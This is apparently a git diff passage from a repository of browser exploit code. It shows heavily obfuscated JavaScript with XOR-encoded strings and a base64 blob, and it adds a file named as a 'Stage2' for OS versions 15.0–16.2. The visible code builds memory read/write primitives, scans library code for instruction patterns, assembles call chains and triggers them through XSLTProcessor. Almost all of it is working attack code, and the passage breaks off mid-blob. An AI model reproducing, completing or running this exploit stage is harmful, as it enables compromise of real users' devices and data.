-1352106276)),(4294967296 + (960909940 ^ -277259605)),(4294967296 + (894068816 ^ -478846801))]),s=[];i.qh(([60, 60, 55, 38, 59, 55].map(x => {return String.fromCharCode(x ^ 99);}).join("")),((t,i)=>{c.has(i)&&s.push([t,i])})),s.length}dc(t,i,c){const s=this.lc.Jh(t),{ac:l,mask:o}=this.oc(i);let a=null,h=null,d=null;if(!0===c?(s.$h(([6, 6, 13, 28, 1, 13].map(x => {return String.fromCharCode(x ^ 89);}).join("")),!0===globalThis.obChTK.hPL3On(([104, 109, 111, 111, 96, 58, 56, 106, 59, 104, 108, 104, 96, 59, 56, 107, 56, 97, 63, 109, 105, 59, 60, 107, 97, 110, 63, 111, 109, 111, 61, 109, 61, 110, 108, 96, 106, 60, 59, 105].map(x => {return String.fromCharCode(x ^ 89);}).join(""))).zn.Nn.PgkJIA?([50, 50, 44, 56, 57, 37, 50, 46, 34, 35, 62, 57].map(x => {return String.fromCharCode(x ^ 109);}).join("")):([60, 60, 39, 34, 55, 34, 60, 32, 44, 45, 48, 55].map(x => {return String.fromCharCode(x ^ 99);}).join("")),((t,c)=>{let s=t;for(let t=0;t>>0==(1835944057 ^ 2037270649)?c<<6>>4:4}return a=c,!0})),a&&(h=a.Dt().yt(),d=a)):(s.qh(([28, 28, 23, 6, 27, 23].map(x => {return String.fromCharCode(x ^ 67);}).join("")),((t,c)=>{let s=!0;for(let c=0;c {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.KrBQWx;c++){const h=t+4*c,d=P.zn.Xn.br(h);if((4294967296 + (1464233010 ^ -2129042483))===d||(4294967296 + (1165521512 ^ -1826131544))===d){o=!0;break}if(((4294967296 + (1597192001 ^ -1607256255))&d)>>>0==(1933800054 ^ 1732473462)){if(s){o=!0;break}}else if(((4294967296 + (1596804982 ^ -1070772362))&d)>>>0==(4294967296 + (962557004 ^ -1453362100))){const t=(d<<8>>13<<2|d>>29&3)<<12;a[31&d]=h-h%(1869630326 ^ 1869634422)+t}else if(((4294967296 + (1668837232 ^ -1665634448))&d)>>>0==(4294967296 + (1264726616 ^ -1306381736))){const t=d>>5&31,i=d>>10&(1198351992 ^ 1198352775);a[t]&&l.push(a[t]+8*i)}else if(i&&((4294967296 + (1247310136 ^ -1252495048))&d)>>>0==(4294967296 + (2002338372 ^ -430357948))){const t=d>>5&31,i=d>>10&(928670574 ^ 928672913);a[t]&&(l.push(a[t]+i),a[t]=0)}}if(!o)throw new Error("");if(c>-1&&l.length!==c)throw new Error("");return l}Kc(t,i,c,s){const l=this.lc.Jh(t),{ac:o,mask:a}=this.oc(i);let h=null,d=null,b=null;if(!0===c?(l.$h(([106, 106, 97, 112, 109, 97].map(x => {return String.fromCharCode(x ^ 53);}).join("")),s,((t,c)=>{let s=t;for(let t=0;t>>0==(1949784433 ^ 1614240113)?c<<6>>4:4}return h=c,!0})),h&&(d=h.Dt().yt(),b=h)):(l.qh(([61, 61, 54, 39, 58, 54].map(x => {return String.fromCharCode(x ^ 98);}).join("")),((t,c)=>{let s=!0;for(let c=0;c {return String.fromCharCode(x ^ 54);}).join("")));class st extends it{da(t,i){return this.chain.Lc(this.chain.Xc.da,t,i)}er(t,i){return this.chain.Lc(this.chain.Xc.er,t,i)}wa(t,i){return this.chain.Lc(this.chain.Xc.wa,t,i)}ha(t,i){return this.chain.Lc(this.chain.Xc.ha,t,i)}Mc(){const t=this.Tc,i=P.zn.Xn.Mr(t);if(i%(2001294182 ^ 2001290086)!=0)throw new Error("");const c=x.Vt.ut(i).Ut();return t[0]=(4294967296 + (826958702 ^ -811099743)),t[1]=(1212564847 ^ 1229342051),t[4]=3,t[5]=(843200055 ^ 843200295),t[8]=25,t[9]=(1312979322 ^ 1312979426),t[10]=(1464096068 ^ 303041051),t[11]=(1313878103 ^ 1313891343),this.Gc&&(t[14]=0,t[15]=0,t[16]=c.it,t[17]=c.et,t[23]=1),t[24]=1,this.Gc?(t[34]=0,t[35]=0,t[36]=c.it,t[37]=c.et):(t[34]=c.it,t[35]=c.et,t[36]=(4294967296 + (1632532582 ^ -1632536474)),t[37]=(1785416801 ^ 1785416734)),t[42]=(4294967296 + (1299131770 ^ -848352902)),t[46]=25,t[47]=72,t[48]=(1633176905 ^ 672403990),t[49]=(1850242376 ^ 705510918),t[50]=(1717728110 ^ 1717708583),t[52]=(1700031096 ^ 1700031304),t[56]=(810509899 ^ 810510203),t[64]=(4294967296 + (1364150136 ^ -783333542)),t[65]=48,t[74]=(1196053805 ^ 1196053533),t[75]=(1197885509 ^ 1197883461),t[76]=(1464223825 ^ 907626833),t[77]=(1517318489 ^ 1517516633),t}Dc(t,i){const c=x.Vt.ut(i);let s=null,l=0,o=null,a=new x.Vt(0,0);const h=this.Mc(),d=P.zn.Xn.Mr(h),b=x.Vt.ut(d);if(this.Gc){const t=this.kc(b);l=t+1,o=x.Vt.ut(t),s=this.Zc}else l=this.wc(d),o=b,s=P.zn.Xn.nr(this.Zc+globalThis.obChTK.hPL3On(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => {return String.fromCharCode(x ^ 100);}).join(""))).zn.Nn.DXnm2a);return P.zn.Xn.Br((()=>{const i=new Uint8Array(h.buffer),s=c.sub(b);x.Xt(i,(1416051066 ^ 1416050754),s);const o=d+(1093678153 ^ 1093678458);a=t(this.xc,x.Vt.ut(l),x.Vt.ut(o))}),{Ir:s+8,Zt:o}),a}kc(t){const i=this.Ac,c=t.H((1198211657 ^ 1198211913));return i[20]=t.it,i[21]=t.et,i[22]=t.it,i[23]=t.et,i[24]=0,i[25]=0,i[29]=(2019645509 ^ 2019646020),i[32]=c.it,i[33]=c.et,i[36]=0,i[37]=0,P.zn.Xn.Mr(i)}wc(t){return t/32+1}Nc(t){const i=P.zn.Xn,c=this.Mc(),s=this.zc,l=this.Sc;let o=new x.Vt(0,0);const a=x.Vt.ut(t);let h=null;const d=P.zn.Xn.Mr(c),b=x.Vt.ut(d);let I=null,e=null;if(this.Gc){const t=this.kc(b);I=t+1,e=x.Vt.ut(t),h=this.Zc}else h=i.nr(this.Zc+globalThis.obChTK.hPL3On(([101, 96, 98, 98, 109, 55, 53, 103, 54, 101, 97, 101, 109, 54, 53, 102, 53, 108, 50, 96, 100, 54, 49, 102, 108, 99, 50, 98, 96, 98, 48, 96, 48, 99, 97, 109, 103, 49, 54, 100].map(x => {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.DXnm2a),I=this.wc(d),e=b;const g=P.zn.Xn.rr(s);return P.zn.Xn.Br((()=>{const t=new Uint8Array(c.buffer),l=([75, 64, 95, 71, 103, 65, 82, 93, 64, 85, 92, 65, 94, 118, 65, 65, 92, 65].map(x => {return String.fromCharCode(x ^ 51);}).join(""));let h=(1885746756 ^ 1885747063);for(let i=0;i {return String.fromCharCode(x ^ 105);}).join(""))),c=this.lc.Jh(([31, 26, 17, 32, 10, 0, 7, 22, 30, 93, 49, 93, 23, 10, 31, 26, 17].map(x => {return String.fromCharCode(x ^ 115);}).join(""))),s=this.lc.Jh(([61, 56, 51, 41, 34, 61, 37].map(x => {return String.fromCharCode(x ^ 81);}).join(""))),l=i.fh(([61, 53, 42, 32, 52].map(x => {return String.fromCharCode(x ^ 89);}).join("")));!0===globalThis.obChTK.hPL3On(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => {return String.fromCharCode(x ^ 95);}).join(""))).zn.Nn.PgkJIA?this.xc=c.Ah(([13, 13, 19, 7, 6, 26, 13, 17, 29, 28, 1, 6].map(x => {return String.fromCharCode(x ^ 82);}).join("")),l):this.xc=c.Ah(([109, 109, 118, 115, 102, 115, 109, 113, 125, 124, 97, 102].map(x => {return String.fromCharCode(x ^ 50);}).join("")),l);{t=this.lc.Qh(([47, 65, 40, 28, 15, 3, 11, 25, 1, 28, 5, 29, 65, 57, 11, 12, 45, 1, 28, 11, 64, 8, 28, 15, 3, 11, 25, 1, 28, 5, 65, 56, 11, 28, 29, 7, 1, 0, 29, 65, 47, 65, 57, 11, 12, 45, 1, 28, 11].map(x => {return String.fromCharCode(x ^ 110);}).join("")),([48, 2, 5, 36, 8, 21, 2, 73, 1, 21, 6, 10, 2, 16, 8, 21, 12, 72, 48, 2, 5, 36, 8, 21, 2].map(x => {return String.fromCharCode(x ^ 103);}).join("")));const c=s.wh/32>>>0;this.Sc=t.kh(globalThis.obChTK.hPL3On(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => {return String.fromCharCode(x ^ 90);}).join(""))).zn.Nn.PgkJIA?([24, 24, 3, 6, 19, 6].map(x => {return String.fromCharCode(x ^ 71);}).join("")):([15, 15, 20, 17, 4, 17, 15, 20, 25, 2, 4, 9].map(x => {return String.fromCharCode(x ^ 80);}).join("")),c);const l=i.fh(([5, 62, 35, 54, 62, 5, 51, 52, 51, 46, 51, 59, 54, 51, 32, 63, 40].map(x => {return String.fromCharCode(x ^ 90);}).join(""))),o=this.Pc.bc(l,!0);this.Zc=o[globalThis.obChTK.hPL3On(([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map(x => {return String.fromCharCode(x ^ 65);}).join(""))).zn.Nn.Kmb3Lc]}const o=s.ih(([78, 69, 90, 66, 112, 68, 83, 83, 98, 68, 87, 88, 69, 80, 89, 68, 91, 117, 89, 88, 66, 83, 78, 66].map(x => {return String.fromCharCode(x ^ 54);}).join("")));let a;try{a=t.Uh(([0, 0, 27, 30, 11, 30, 0, 27, 22, 13, 11, 6].map(x => {return String.fromCharCode(x ^ 95);}).join("")),o)}catch(i){a=t.Uh(globalThis.obChTK.hPL3On(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {return String.fromCharCode(x ^ 79);}).join(""))).zn.Nn.PgkJIA?([8, 8, 22, 2, 3, 31].map(x => {return String.fromCharCode(x ^ 87);}).join("")):([40, 40, 51, 54, 35, 54].map(x => {return String.fromCharCode(x ^ 119);}).join("")),o)}const h=s.fh(([18, 25, 6, 30, 62, 24, 11, 4, 25, 12, 5, 24, 7, 47, 24, 24, 5, 24].map(x => {return String.fromCharCode(x ^ 106);}).join("")));try{this.zc=t.Uh(([51, 51, 40, 45, 56, 45, 51, 40, 37, 62, 56, 53].map(x => {return String.fromCharCode(x ^ 108);}).join("")),h)}catch(i){this.zc=t.Uh(([7, 7, 28, 25, 12, 25].map(x => {return String.fromCharCode(x ^ 88);}).join("")),h)}if(this.Rc=a,this.Qc=this.zc-24,1!==P.zn.Xn.br(this.Qc))throw new Error("");this.Wc=this.Sc+8,!0===globalThis.obChTK.hPL3On(([95, 90, 88, 88, 87, 13, 15, 93, 12, 95, 91, 95, 87, 12, 15, 92, 15, 86, 8, 90, 94, 12, 11, 92, 86, 89, 8, 88, 90, 88, 10, 90, 10, 89, 91, 87, 93, 11, 12, 94].map(x => {return String.fromCharCode(x ^ 110);}).join(""))).zn.Nn.xlJ9NK?this.chain=new lt(this):this.chain=new ot(this)}}class lt{constructor(t){const i=P.zn.Xn,c=t.Pc,s=t.controller;this.vc=new ArrayBuffer((863256947 ^ 863256659)),x.D(this.vc),this.fc=i.Mr(this.vc);const l=c.uc([([24, 29, 22, 16, 13, 24, 16, 90, 16, 13, 24, 29, 22].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (1515272525 ^ -2138033073)),(4294967296 + (1834042456 ^ -950843464)),(4294967296 + (1784116584 ^ -1140296024)),(4294967296 + (1835821613 ^ -1213373649)),(4294967296 + (1397117034 ^ -112962678)),(4294967296 + (1112550740 ^ -1810944364)),(4294967296 + (1415524930 ^ -1902233792)),(4294967296 + (1999662168 ^ -583897160)),(4294967296 + (1466451266 ^ -2127083902)),(4294967296 + (1886672173 ^ -1430957009)),(4294967296 + (811824440 ^ -1704888616)),(4294967296 + (1999653715 ^ -1586542445))]).Ic-52,o=c.Cc([([24, 29, 22, 38, 17, 2, 17, 6, 7, 17, 36, 6, 27, 12, 13, 48, 17, 2, 29, 23, 17, 90, 16, 13, 24, 29, 22].map(x => {return String.fromCharCode(x ^ 116);}).join(""))],[(4294967296 + (1970425964 ^ -1603177709)),(4294967296 + (1128885071 ^ -352972622)),(4294967296 + (1497590637 ^ -935106416)),(4294967296 + (1987471952 ^ -550090151)),(4294967296 + (1668694593 ^ -902346176)),(4294967296 + (2035774529 ^ -748718175)),(4294967296 + (1178821235 ^ -1870894260)),(4294967296 + (2001956434 ^ -544074321)),(4294967296 + (1397254709 ^ -2062064182))]),a=c.Cc([([98, 29, 63, 36, 59, 44, 57, 40, 11, 63, 44, 32, 40, 58, 34, 63, 38, 62, 98, 14, 34, 63, 40, 24, 57, 36, 33, 62, 99, 43, 63, 44, 32, 40, 58, 34, 63, 38, 98, 27, 40, 63, 62, 36, 34, 35, 62, 98, 12, 98, 14, 34, 63, 40, 24, 57, 36, 33, 62].map(x => {return String.fromCharCode(x ^ 77);}).join("")),([9, 43, 48, 47, 56, 45, 60, 31, 43, 56, 52, 60, 46, 54, 43, 50, 42, 118, 26, 54, 43, 60, 12, 45, 48, 53, 42, 119, 63, 43, 56, 52, 60, 46, 54, 43, 50, 118, 26, 54, 43, 60, 12, 45, 48, 53, 42].map(x => {return String.fromCharCode(x ^ 89);}).join(""))],[(4294967296 + (945321267 ^ -312781236)),(4294967296 + (1901352270 ^ -655746374)),(4294967296 + (1668100465 ^ -898872692)),(4294967296 + (963999543 ^ -1468713782)),(4294967296 + (1798851434 ^ -1053276007)),(4294967296 + (1299854937 ^ -1118152495)),(4294967296 + (1849767746 ^ -1761344950)),(4294967296 + (1514289503 ^ -1937952704)),(4294967296 + (1951019062 ^ -1924517290)),(4294967296 + (1296520565 ^ -469356920)),(4294967296 + (1517566288 ^ -222923100)),(4294967296 + (1800220025 ^ -1122884986))]),h=c.nc([(4294967296 + (1866878807 ^ -1085307745)),(4294967296 + (1431394143 ^ -1407912361)),(4294967296 + (1733452390 ^ -749575346)),(4294967296 + (1349924439 ^ -2055924440)),(4294967296 + (1834640493 ^ -991617136)),(4294967296 + (1833267833 ^ -62557820)),(4294967296 + (877016654 ^ -464519801)),(4294967296 + (844384375 ^ -888017577)),(4294967296 + (1868063821 ^ -1184404142)),(4294967296 + (859989584 ^ -1685906003)),(4294967296 + (759452760 ^ -129534041)),(4294967296 + (1513246055 ^ -1938993497))]),d=h.gc[1],b=h.gc[0],I=a.gc[0];this.Yc=(c,l,e,g)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,e),i.Jr(this.fc+24,g),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:h.yc},{Ir:d,Zt:x.Vt.ut(this.fc)},{Ir:b,Zt:a.yc},{Ir:I,Zt:o.yc}),i.rr(this.fc));this.Oc=t.Dc(((c,l,e)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,e),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:h.yc},{Ir:d,Zt:x.Vt.ut(this.fc)},{Ir:b,Zt:a.yc},{Ir:I,Zt:o.yc}),i.rr(this.fc))),l),this.Uc=new ArrayBuffer(64),this.Jc=i.Mr(this.Uc),this.Fc=x.Vt.ut(this.Jc),x.D(this.Uc),this.Xc={da:(4294967296 + (1952731722 ^ -1956294070)),er:(4294967296 + (1918266181 ^ -1923781819)),ha:(4294967296 + (1752725609 ^ -1753384855)),wa:(4294967296 + (1901032771 ^ -1907854013))};this.Lc=(t,c,s)=>{const l=Math.abs(s.et>>>16);return i.write32x2(this.Jc,0,t|l),this.Yc(this.Oc,this.Fc,s,c)}}}class ot{constructor(t){const i=P.zn.Xn,c=t.Pc,s=t.controller;let l,o;this.vc=new ArrayBuffer((1366913091 ^ 1366913379)),x.D(this.vc),this.fc=i.Mr(this.vc),globalThis.obChTK.hPL3On(([6, 3, 1, 1, 14, 84, 86, 4, 85, 6, 2, 6, 14, 85, 86, 5, 86, 15, 81, 3, 7, 85, 82, 5, 15, 0, 81, 1, 3, 1, 83, 3, 83, 0, 2, 14, 4, 82, 85, 7].map(x => {return String.fromCharCode(x ^ 55);}).join(""))).zn.Nn.PgkJIA?(o=c.uc([([54, 51, 56, 62, 35, 54, 62, 116, 62, 35, 54, 51, 56].map(x => {return String.fromCharCode(x ^ 90);}).join(""))],[(4294967296 + (2054764410 ^ -1598540166)),(4294967296 + (1278555225 ^ -1704314983)),(4294967296 + (1916224368 ^ -1460254096)),(4294967296 + (1818190962 ^ -1174378574)),(4294967296 + (1934054471 ^ -1450813113)),(4294967296 + (1096436084 ^ -1761260876)),(4294967296 + (2003987064 ^ -1380749448)),(4294967296 + (1296459573 ^ -1692834571))]),l=o.Ic+64):(o=c.uc([([51, 54, 61, 59, 38, 51, 59, 113, 59, 38, 51, 54, 61].map(x => {return String.fromCharCode(x ^ 95);}).join(""))],[(4294967296 + (827553106 ^ -342723504)),(1834972758 ^ 2036299344),(4294967296 + (1466398306 ^ -1918468256)),(1348618605 ^ 1147292009),(4294967296 + (1095066484 ^ -1685819786)),(860895089 ^ 659568499),(4294967296 + (1110533997 ^ -1729076625)),(4294967296 + (1398034542 ^ -111783026)),(4294967296 + (2019981657 ^ -794361180)),(4294967296 + (1349732682 ^ -2043918667))]),l=o.ec);const a=c.uc([([56, 61, 54, 48, 45, 56, 48, 122, 48, 45, 56, 61, 54].map(x => {return String.fromCharCode(x ^ 84);}).join(""))],[(4294967296 + (809775686 ^ -434425466))]).Ic,h=c.uc([([6, 3, 8, 56, 15, 28, 15, 24, 25, 15, 58, 24, 5, 18, 19, 46, 15, 28, 3, 9, 15, 68, 14, 19, 6, 3, 8].map(x => {return String.fromCharCode(x ^ 106);}).join(""))],[(4294967296 + (1882814002 ^ -646359503)),(4294967296 + (1596805209 ^ -160671656)),(4294967296 + (1951164215 ^ -565943081)),(4294967296 + (892561486 ^ -483631055))]).Ic,d=c.uc([([30, 97, 67, 88, 71, 80, 69, 84, 119, 67, 80, 92, 84, 70, 94, 67, 90, 66, 30, 114, 94, 67, 84, 100, 69, 88, 93, 66, 31, 87, 67, 80, 92, 84, 70, 94, 67, 90, 30, 103, 84, 67, 66, 88, 94, 95, 66, 30, 112, 30, 114, 94, 67, 84, 100, 69, 88, 93, 66].map(x => {return String.fromCharCode(x ^ 49);}).join("")),([39, 5, 30, 1, 22, 3, 18, 49, 5, 22, 26, 18, 0, 24, 5, 28, 4, 88, 52, 24, 5, 18, 34, 3, 30, 27, 4, 89, 17, 5, 22, 26, 18, 0, 24, 5, 28, 88, 52, 24, 5, 18, 34, 3, 30, 27, 4].map(x => {return String.fromCharCode(x ^ 119);}).join(""))],[(4294967296 + (913785954 ^ -478910691)),(4294967296 + (1650673459 ^ -874706745)),(4294967296 + (1884111695 ^ -649316174)),(4294967296 + (1982950254 ^ -416208749)),(4294967296 + (1903185510 ^ -613397099)),(4294967296 + (1481198434 ^ -1470143734)),(4294967296 + (1718242100 ^ -1624593860)),(4294967296 + (1280920431 ^ -1704574352)),(4294967296 + (1936286057 ^ -1972804855)),(4294967296 + (1800821346 ^ -1038671457)),(4294967296 + (1112827250 ^ -359257466)),(4294967296 + (2037002361 ^ -1355464826))]),b=c.uc([([54, 21, 23, 31, 1, 4, 90, 18, 6, 21, 25, 17, 3, 27, 6, 31, 91, 34, 17, 6, 7, 29, 27, 26, 7, 91, 53, 91, 54, 21, 23, 31, 1, 4].map(x => {return String.fromCharCode(x ^ 116);}).join("")),([61, 56, 51, 62, 60, 48, 53, 60, 127, 53, 40, 61, 56, 51].map(x => {return String.fromCharCode(x ^ 81);}).join(""))],[(4294967296 + (1751806789 ^ -664713459)),(4294967296 + (843804748 ^ -888559283)),(4294967296 + (1967353711 ^ -1052545042)),(4294967296 + (1984051564 ^ -968291036)),(4294967296 + (841831244 ^ -881881524)),(4294967296 + (1347901031 ^ -2042077608)),(4294967296 + (1951420023 ^ -1576055369))]),I={},e=t.Nc(a),g=c.Cc([([47, 41, 45, 15, 18].map(x => {return String.fromCharCode(x ^ 102);}).join(""))],[(4294967296 + (1749372530 ^ -1056487814)),(4294967296 + (828328258 ^ -937471677)),(4294967296 + (1280788557 ^ -429962323)),(4294967296 + (1315731541 ^ -1737265142))]).yc,y=b.Ic,C=b.gc[0],u=b.gc[1];i.Br((()=>{I.Ec=t.Nc(y)}),{Ir:u,Zt:e},{Ir:C,Zt:e});const r=d.Ic,n=d.gc[0];i.Br((()=>{I.jc=t.Nc(r)}),{Ir:n,Zt:e});const K=(c,l,o)=>(i.Jr(this.fc+40,c),i.Jr(this.fc+32,l),i.Jr(this.fc+48,o),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:I.Ec},{Ir:u,Zt:x.Vt.ut(this.fc)},{Ir:C,Zt:I.jc},{Ir:n,Zt:g}),i.rr(this.fc));this.Bc=t.Dc(K,h),this.Oc=t.Dc(K,l);this.Yc=(c,l,o,a)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,o),i.Jr(this.fc+24,a),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:I.Ec},{Ir:u,Zt:x.Vt.ut(this.fc)},{Ir:C,Zt:I.jc},{Ir:n,Zt:this.Bc}),i.rr(this.fc)),this.Uc=new ArrayBuffer(64),this.Jc=i.Mr(this.Uc),this.Fc=x.Vt.ut(this.Jc),x.D(this.Uc),this.Xc={da:(4294967296 + (1817456999 ^ -1823133337)),er:(4294967296 + (1131050052 ^ -1133939644)),ha:(4294967296 + (879583826 ^ -882351534)),wa:(4294967296 + (1162041669 ^ -1169925819))};this.Lc=(t,i,c)=>{const s=Math.abs(c.et>>>16);return P.zn.Xn.write32x2(this.Jc,0,t|s),this.Yc(this.Oc,this.Fc,c,i)}}}class at{constructor(){this._c='',this.qc=(new DOMParser).parseFromString(([81, 12, 83, 81, 15, 83, 81, 14, 83, 92, 81, 66, 14, 83, 81, 66, 15, 83, 81, 15, 83, 81, 14, 83, 95, 81, 66, 14, 83, 81, 66, 15, 83, 81, 66, 12, 83].map(x => {return String.fromCharCode(x ^ 109);}).join("")),([45, 60, 33, 45, 118, 33, 52, 53].map(x => {return String.fromCharCode(x ^ 89);}).join("")));const t=this._c,i=new XSLTProcessor,c=(new DOMParser).parseFromString(t,([77, 92, 65, 77, 22, 65, 84, 85].map(x => {return String.fromCharCode(x ^ 57);}).join(""))),s=this.qc;i.importStylesheet(c),this.Hc=()=>{i.transformToDocument(s)}}Vc(){this.$c(),this.Hc()}$c(){const t=this._c.replace(([54, 13, 43, 34, 34, 48].map(x => {return String.fromCharCode(x ^ 77);}).join("")),([55, 62, 62].map(x => {return String.fromCharCode(x ^ 81);}).join(""))),i=new XSLTProcessor,c=(new DOMParser).parseFromString(t,([18, 3, 30, 18, 73, 30, 11, 10].map(x => {return String.fromCharCode(x ^ 102);}).join(""))),s=this.qc;i.importStylesheet(c),i.transformToDocument(s)}Ia(){const t=new XSLTProcessor,i=(new DOMParser).parseFromString(([4, 64, 75, 84, 2, 75, 76, 65, 84, 93, 75, 80, 93, 93, 76, 24, 64, 85, 84, 86, 75, 2, 64, 75, 84, 5, 26, 80, 76, 76, 72, 2, 23, 23, 79, 79, 79, 22, 79, 11, 22, 87, 74, 95, 23, 9, 1, 1, 1, 23, 96, 107, 116, 23, 108, 74, 89, 86, 75, 94, 87, 74, 85, 26, 24, 78, 93, 74, 75, 81, 87, 86, 5, 26, 9, 22, 8, 26, 6, 4, 23, 64, 75, 84, 2, 75, 76, 65, 84, 93, 75, 80, 93, 93, 76, 6].map(x => {return String.fromCharCode(x ^ 56);}).join("")),([70, 87, 74, 70, 29, 74, 95, 94].map(x => {return String.fromCharCode(x ^ 50);}).join("")));t.importStylesheet(i),t.transformToDocument(i)}}return r.ga=function(){return new st},r; \ No newline at end of file diff --git a/other/Stage2_15.0_16.2_breezy15.js b/other/Stage2_15.0_16.2_breezy15.js new file mode 100644 index 0000000..2294397 --- /dev/null +++ b/other/Stage2_15.0_16.2_breezy15.js @@ -0,0 +1 @@ +let r={};globalThis.obChTK.fgPoij(([41, 42, 124, 122, 121, 46, 45, 125, 40, 122, 41, 45, 121, 123, 124, 126, 115, 46, 125, 114, 42, 41, 114, 127, 126, 47, 121, 40, 47, 45, 47, 126, 122, 46, 126, 120, 47, 40, 47, 115].map(x => {return String.fromCharCode(x ^ 75);}).join("")),"bGV0IHI9e307Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjUsIDEyNywgMTI2LCAxMjIsIDEyMCwgMTIyLCAxMjAsIDEyNiwgNDQsIDEyNiwgMTIyLCAxMjAsIDEyNywgMTEzLCA0MiwgNDEsIDQxLCA0NCwgMTIwLCA0NSwgMTI1LCAxMjcsIDQ1LCAxMjYsIDQ0LCAxMTMsIDQ1LCA0MywgMTEzLCAxMjMsIDEyMSwgMTIyLCAxMjAsIDQzLCAxMjAsIDQ2LCAxMjUsIDEyMiwgMTI0LCAxMjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzIpO30pLmpvaW4oIiIpKSkse046R309Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNjUsIDY3LCA2NiwgNzAsIDY4LCA3MCwgNjgsIDY2LCAxNiwgNjYsIDcwLCA2OCwgNjcsIDc3LCAyMiwgMjEsIDIxLCAxNiwgNjgsIDE3LCA2NSwgNjcsIDE3LCA2NiwgMTYsIDc3LCAxNywgMjMsIDc3LCA3MSwgNjksIDcwLCA2OCwgMjMsIDY4LCAxOCwgNjUsIDcwLCA2NCwgNjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE2KTt9KS5qb2luKCIiKSkpLFA9Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNCwgMSwgMywgMywgMTIsIDg2LCA4NCwgNiwgODcsIDQsIDAsIDQsIDEyLCA4NywgODQsIDcsIDg0LCAxMywgODMsIDEsIDUsIDg3LCA4MCwgNywgMTMsIDIsIDgzLCAzLCAxLCAzLCA4MSwgMSwgODEsIDIsIDAsIDEyLCA2LCA4MCwgODcsIDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTMpO30pLmpvaW4oIiIpKSkse3puOkZ9PWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzEwNywgMTEwLCAxMDgsIDEwOCwgOTksIDU3LCA1OSwgMTA1LCA1NiwgMTA3LCAxMTEsIDEwNywgOTksIDU2LCA1OSwgMTA0LCA1OSwgOTgsIDYwLCAxMTAsIDEwNiwgNTYsIDYzLCAxMDQsIDk4LCAxMDksIDYwLCAxMDgsIDExMCwgMTA4LCA2MiwgMTEwLCA2MiwgMTA5LCAxMTEsIDk5LCAxMDUsIDYzLCA1NiwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKTt9KS5qb2luKCIiKSkpLFo9Ri5MbjtmdW5jdGlvbiBZKHQscj0hMSl7Y29uc3QgZT1QLnpuLlhuLG49ZS5pcih0LkgoMTYpKTtsZXQgcz10LkgoMzIpLGk9bmV3IHguVnQoMCwwKSxvPSEwLGg9ITEsYz1udWxsLGw9bnVsbCxmPW51bGwsYT0wLHU9bnVsbCxkPW51bGwsdz1udWxsLGc9bnVsbCxtPSExO2NvbnN0IEU9W107Zm9yKGxldCBmPTA7ZjxuO2YrKyl7Y29uc3Qgbj1lLmlyKHMpLGY9ZS5pcihzLkgoNCkpO3N3aXRjaChuKXtjYXNlIDE1Om09ITA7YnJlYWs7Y2FzZSA1MDpyJiYxPT09ZS5pcihzLkgoOCkpJiYodz0hMCxnPWUuaXIocy5IKDEyKSkpO2JyZWFrO2Nhc2UgMjU6e2NvbnN0IG49e1hlOmUuVHIocy5IKDgpLDE2KSxxZTplLlVyKHMuSCgyNCkpLEVvOmUuVXIocy5IKDI0KSksT286ZS5VcihzLkgoMzIpKSxRZTplLlVyKHMuSCg0MCkpLHpvOmUuVXIocy5IKDQ4KSksJG86ZS5pcihzLkgoNTYpKSxxbzplLmlyKHMuSCg2MCkpLE1vOmUuaXIocy5IKDY0KSksZmxhZ3M6ZS5pcihzLkgoNjgpKSxEbzpzLkgoNzIpLExvOnt9LGR1bXAoKXt9fTtpZihyKWZvcihsZXQgdD0wO3Q8bi5Nbzt0Kz0xKXtjb25zdCByPW4uRG8uSCg4MCp0KSxzPXtYZTplLlRyKHIuSCgxNiksMTYpLFZvOmUuVHIoci5IKDApLDE2KSxxZTplLlVyKHIuSCgzMikpLE9vOmUuVXIoci5IKDQwKSksUWU6ZS5pcihyLkgoNDgpKSxkdW1wKCl7fX07bi5Mb1tzLlZvXT1zfXN3aXRjaChFLnB1c2gobiksbi5YZSl7Y2FzZShbMTExLCAxMTEsIDEwMC